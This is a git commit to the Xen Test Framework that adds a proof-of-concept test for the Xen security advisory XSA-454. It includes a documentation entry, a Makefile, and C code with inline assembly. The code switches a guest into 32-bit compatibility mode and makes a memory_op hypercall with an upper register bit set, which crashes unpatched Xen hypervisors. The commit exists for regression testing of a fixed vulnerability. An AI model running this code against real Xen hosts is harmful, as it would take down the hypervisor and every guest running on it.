From: Manuel Andreas Date: Thu, 11 Apr 2024 15:58:51 +0000 (+0100) Subject: XSA-454 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=f37c4574dd79d058c035be989ac6648508556a1a;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-454 PoC Original PoC from Manuel. Adjusted to XTF norms by myself. Signed-off-by: Manuel Andreas Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index ab88c15..0a8b913 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -169,6 +169,8 @@ states. @subpage test-xsa-451 - x86: shadow stack vs exceptions from emulation stubs. +@subpage test-xsa-454 - x86 HVM hypercalls may trigger Xen bug check. + @section index-utility Utilities diff --git a/include/xen/memory.h b/include/xen/memory.h index 37ed16f..8056dd2 100644 --- a/include/xen/memory.h +++ b/include/xen/memory.h @@ -17,6 +17,8 @@ struct xen_memory_reservation { domid_t domid; }; +#define XENMEM_maximum_ram_page 2 + #define XENMEM_add_to_physmap 7 struct xen_add_to_physmap { diff --git a/tests/xsa-454/Makefile b/tests/xsa-454/Makefile new file mode 100644 index 0000000..82489d3 --- /dev/null +++ b/tests/xsa-454/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-454 +CATEGORY := xsa +TEST-ENVS := hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-454/main.c b/tests/xsa-454/main.c new file mode 100644 index 0000000..b9454b2 --- /dev/null +++ b/tests/xsa-454/main.c @@ -0,0 +1,79 @@ +/** + * @file tests/xsa-454/main.c + * @ref test-xsa-454 + * + * @page test-xsa-454 XSA-454 + * + * Advisory: [XSA-454](https://xenbits.xen.org/xsa/advisory-454.html) + * + * Intel and AMD both state that upper half of the GPRs are undefined after + * leaving 64bit mode. Despite this, they're typically preserved until the + * next explicit write of the GPR, because this is the simplest strategy. + * + * At the time of XSA-454, HYPERCALL_memory_op()'s compatibility handler makes + * an unconditional hypercall continuation after the native handler returns, + * in order to simplify later logic in some subops. + * + * This means that hypercall_xlat_continuation() can the preserved upper bits + * of the GPRs while the vCPU is compatibility mode, and it makes some + * incorrect assertions about GPR state using BUG_ON(). + * + * Pick a simple subop (XENMEM_maximum_ram_page takes no argument) and set an + * upper bit in @%rbx (becomes the cmd parameter in Xen). This is sufficient + * to trigger the bad BUG_ON(). + * + * Note: The fixes for XSA-454 both truncated all registers for compatibility + * mode guests, and swapped the BUG_ON() for a domain_crash(). This test + * can't distinguish between domain_crash() and BUG_ON(), but as both patches + * were taken together, this shouldn't matter. + * + * @see tests/xsa-454/main.c + */ +#include + +const char test_title[] = "XSA-454 PoC"; + +void test_main(void) +{ + unsigned long tmp; + + /* Allow us to use the stack in __KERN_CS32 */ + write_ss(GDTE_DS32_DPL0 << 3); + + asm volatile (/* Drop into a 32bit compat code segment. */ + "push $%c[cs32];" + "push $1f;" + "lretq; 1:" + + ".code32;" + "start_32bit:;" + + /* Compat hypercall_memory_op(XENMEM_maximum_ram_page, NULL); */ + "call HYPERCALL_memory_op;" + + /* Return to 64bit. */ + "ljmpl $%c[cs], $1f;" + "end_32bit:;" + + ".code64; 1:" + : "=a" (tmp), + "=b" (tmp), + "=c" (tmp) + : "b" (XENMEM_maximum_ram_page | (1UL << 32)), + "c" (NULL), + [cs32] "i" (__KERN_CS32), + [cs] "i" (__KERN_CS)); + + /* If Xen is still alive, it didn't hit a BUG(). */ + xtf_success("Success: Not vulnerable to XSA-454\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */